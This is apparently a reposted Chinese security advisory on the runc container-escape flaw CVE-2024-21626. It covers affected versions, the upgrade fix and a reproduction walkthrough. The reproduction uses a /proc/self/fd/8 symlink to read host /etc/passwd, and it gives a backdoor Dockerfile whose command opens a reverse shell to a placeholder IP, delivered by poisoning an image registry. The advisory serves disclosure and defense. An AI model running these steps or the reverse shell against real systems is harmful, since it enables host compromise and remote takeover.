【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

admin 2024年2月7日19:38:49评论11 views字数 1186阅读3分57秒阅读模式

漏洞概况

runc是一个开源的命令行工具,专用于创建和运行符合 Open Container Initiative (OCI) 规范的容器。

作为容器运行时(container runtime)的一种实现,runc的灵活性使其能够管理容器的完整生命周期,包括创建、启动、暂停、继续和销毁容器等操作。

近期runc社区披露了高危安全漏洞CVE-2024-21626,该漏洞可能被恶意攻击者利用,造成严重的安全风险。

runc在初始化过程中意外地将宿主机的一些关键文件描述符泄露到容器内部,导致攻击者可以利用特权用户执行恶意容器镜像,并以容器内部进程的身份在宿主机挂载命名空间中拥有工作目录,从而访问宿主文件系统。在runc exec过程中同样存在文件描述符泄露和工作目录验证不足的问题。

如果容器内的恶意进程知道某个管理进程将使用--cwd参数和给定路径调用runc exec,就可以通过符号链接替换工作目录路径,绕过PR_SET_DUMPABLE保护,进而访问主机文件系统。

漏洞等级

利用可能

影响范围

>= 1.0.0-rc93 runc <= 1.1.11  and  kernel version >= 5.6

修复建议

目前官方已发布最新版本,建议受影响用户升级至 runc >= 1.1.12

https://github.com/opencontainers/runc/releases/tag/v1.1.12

复现过程

创建测试容器模拟正常业务容器

docker run --name cve-2024-21626 --rm -it ubuntu

由于runc exec中存在文件描述符泄漏和工作目录验证不足,便可以用符号链接将该路径替换为 /proc/self/fd/8/

ln -sf /proc/self/fd/8/ /runc_test #注:需知道容器cwd参数

理员启动漏洞容器并指定了--cwd 参数和给定路径调用

docker exec -it -w /runc_test cve-2024-21626 sleep 1200

查看进程id

ls -F /proc

指向进程10当前工作目录并查看节点文件

cat /proc/10/cwd/../../../../../../etc/passwd

【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

镜像仓库投毒或社工诱导部署后门镜像

#dockerfile

FROM ubuntu:18.04

WORKDIR /proc/self/fd/8/

CMD /bin/bash -c'bash -i >&/dev/tcp/ip/65532 0>&1'

构造后门镜像并查看

docker build -t cve-2024-21626-test -f dockerfile_cve-2024-21626.yaml .

【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

受害者运行后门镜像

docker images 

docker run  7d30e331ffeb

【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

原文始发于微信公众号(网络威胁数据联盟):【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日19:38:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)http://cn-sec.com/archives/2478987.html

发表评论

匿名网友 填写信息